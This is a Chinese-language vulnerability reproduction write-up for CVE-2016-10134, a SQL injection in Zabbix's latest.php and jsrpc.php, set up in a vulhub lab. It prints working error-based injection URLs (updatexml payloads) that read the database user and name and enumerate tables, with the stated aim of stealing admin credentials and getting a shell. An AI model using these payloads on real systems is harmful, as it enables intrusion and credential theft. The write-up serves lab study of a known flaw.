zabbix是一款服务器监控软件,其由server、agent、web等模块组成,其中web模块由PHP编写,用来显示数据库中的结果。能够监控各种网络参数以及服务器健康性和完整性。
zabbix的详细介绍:
https://blog.csdn.net/wt334502157/article/details/117994107
zabbix latest.php SQL注入漏洞(CVE-2016-10134)
漏洞简介
zabbix是一个基于WEB界面的提供分布式系统监视以及网络监视功能的企业级的开源解决方案。Zabbix 的latest.php中的toggle_ids[]或jsrpc.php种的profieldx2参数存在sql注入,通过sql注入获取管理员账户密码,进入后台,进行getshell操作。
sql注入:简单来说就是通过寻找注入点,进行sql语句拼接,欺骗服务器,获取想要的数据。
zabbix:由两部分构成,zabbix server与可选组件zabbix agent。
zabbix server可以通过SNMP,zabbix agent,ping,端口监视等方法提供对远程服务器/网络状态的监视,数据收集等功能。
zabbix agent需要安装在被监视的目标服务器上,它主要完成对硬件信息或与操作系统有关的内存,CPU等信息的收集
影响版本
zabbix 2.0.x
2.2.x
2.4.x
3.0.0-3.0.3
(Zabbix 2.2.14之前的版本和3.0.4之前的3.0版本。)
环境搭建
在vulhub执行如下命令,启动zabbix 3.0.3,执行命令后,将启动数据库(mysql)、zabbix server、zabbix agent、zabbix web。如果内存稍小,可能会存在某个容器挂掉的情况,我们可以通过docker compose ps
查看容器状态,并通过docker compose start
来重新启动容器。
漏洞复现
访问http://your-ip:8080
,用账号guest
(密码为空)登录游客账户。
登录后,进去之后按f12,找到network刷新页面,查看Cookie中的zbx_sessionid
,复制后16位字符:
3.将这16个字符作为sid的值,访问
http://your-ip:8080/latest.php?output=ajax&sid=a517af6b4166b738&favobj=toggle&toggle_open_state=1&toggle_ids[]=updatexml(0,concat(0xa,user()),0)
这个漏洞也可以通过jsrpc.php触发,且无需登录:http://your-ip:8080/jsrpc.php?type=0&mode=1&method=screen.get&profileIdx=web.item.graph&resourcetype=17&profileIdx2=updatexml(0,concat(0xa,user()),0)
updatexml(0,concat(0xa,(select database())),0)
通过zabbix相关信息查到登陆用户密码在zabbix.users 这个表中。当然也可以慢慢的找数据表,实际生产过程中的数据库和数据表可能有很多需要慢慢找,不想ctf比赛中数据表很少
这里我再第109个数据表中找到了users表
/jsrpc.php?type=0&mode=1&method=screen.get&profileIdx=web.item.graph&resourcetype=17&profileIdx2=updatexml(0,concat(0x5e,(select concat(table_name) from information_schema.tables where table_schema=database() limit 109,1),0x5e),0)